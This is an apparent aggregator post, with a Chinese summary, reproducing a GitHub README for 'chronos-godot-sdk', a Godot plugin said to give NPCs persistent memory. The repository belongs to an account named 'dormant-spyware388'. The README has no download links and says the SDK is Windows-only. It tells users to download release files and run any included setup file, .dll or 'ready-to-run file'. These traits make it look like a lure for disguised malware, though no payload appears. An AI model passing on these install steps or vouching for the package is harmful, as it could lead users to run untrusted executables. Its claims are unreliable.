Chronos Engine 发布 Godot SDK chronos-godot-sdk,为 NPC 加入持久记忆
dormant-spyware388/chronos-godot-sdk
Chronos Engine 推出官方 Godot SDK chronos-godot-sdk,为 Godot 游戏加入持久世界记忆、可成长的 NPC 状态和 AI 行为,让角色记住过往事件并对玩家行为作出反应,状态可跨存档保留。
🤖 chronos-godot-sdk - Give NPCs Memory and Purpose
🧭 What this is
chronos-godot-sdk is the official Godot SDK for Chronos Engine. It adds persistent world memory, growing NPC state, and AI-based behavior to Godot games.
Use it when you want game characters to remember past events, react to player actions, and keep their state between sessions. It fits games that need deeper NPC behavior without making the setup hard for end users.
✨ What you can do
- Keep NPC memory across saves
- Track changes in the world over time
- Give characters state that grows as the game runs
- Connect your game to Chronos Engine services
- Use it as a Godot plugin in a normal project setup
- Build games with more natural NPC behavior
- Store and read game state from a backend service
💻 What you need
- Windows 10 or Windows 11
- Godot 4.x
- An internet connection for the first download
- Enough free disk space for the game project and SDK files
- A modern CPU and 8 GB RAM or more for smooth use
📥 Download
Visit this page to download the latest release:
On that page, look for the newest release and download the file that matches your project setup. If the release includes a zip file, download that file first and then extract it on your PC.
🪟 Install on Windows
- Open the release page in your browser.
- Download the latest release file.
- If the file is zipped, right-click it and choose Extract All.
- Open your Godot project folder.
- Copy the SDK files into the correct plugin or add-on folder.
- Open Godot.
- Load your project and let Godot import the files.
- If the SDK includes a setup file, run it before you start the project.
- Restart Godot if the plugin does not show up at once.
🗂️ Where to place the files
In most Godot projects, add-on files go in a folder like this:
res://addons/chronos-godot-sdk/
If the release contains a different folder name, keep that name when you copy the files. Godot reads add-ons from the addons folder, so placing the files there helps the editor find them.
▶️ First run
- Start Godot.
- Open your project.
- Check the Project settings or Add-ons list for the Chronos SDK entry.
- Enable the plugin if Godot asks you to.
- Run the project.
- Open a test scene and confirm the SDK loads without errors.
If your game uses a login key, API token, or server address, enter it in the project settings or in the config file that comes with the SDK.
🧩 How it fits into your game
This SDK helps your game keep track of things that matter over time. For example:
- An NPC can remember that the player helped them
- A town can change after certain events
- A guard can react to past crimes
- A shopkeeper can change prices or dialogue based on state
- A quest giver can act on previous choices
This kind of memory makes your game feel more alive and less static.
🔧 Basic setup flow
- Download the release.
- Add the SDK to your Godot project.
- Open the project in Godot.
- Enable the plugin.
- Set any server or API details.
- Save the project.
- Run the game.
- Check that NPC state and world memory load as expected.
📝 Common file types you may see
.zipfor the main download package.gdfor Godot script files.tscnfor scenes.cfgor.jsonfor settings.dllif the release includes Windows support files
Keep all files together when you extract the download. If you move only part of the package, Godot may not load it as expected.
🧪 Simple test after setup
After you install the SDK, try this:
- Open a scene with one NPC.
- Change a value for that NPC.
- Save the game.
- Close the game.
- Open it again.
- Check whether the NPC keeps the same state.
If the state stays the same, the SDK is working in your project.
🧹 If something does not work
- Make sure you copied the files into the project folder, not just onto the desktop
- Check that the folder path is inside
addons - Make sure you are using a supported version of Godot
- Restart Godot after adding new files
- Confirm that the release file finished downloading
- Open the project again if the plugin does not appear at first
📌 Best use cases
- RPGs with living towns
- Simulation games with long-term state
- Adventure games with remembered choices
- Strategy games with changing factions
- Sandbox games with persistent worlds
- Indie projects that need smarter NPCs
🔒 Project scope
This SDK is built for game projects that want persistent memory and AI-based behavior. It works as part of a larger Godot setup and keeps the focus on world state, NPC state, and server-backed logic.
📎 Download again
🛠️ Folder layout example
A simple project layout may look like this:
MyGodotGame/addons/chronos-godot-sdk/
scenes/scripts/project.godot
If the release includes sample files, place them in the same project root so Godot can read them.
🎮 What this README helps you do
This page gives you the steps to get the SDK onto your Windows PC, place it in a Godot project, and start the app or plugin from there. If the release package includes a ready-to-run file, you can use it after download. If it comes as a plugin package, add it to your project and open it in Godot.
来源:GitHub · github.com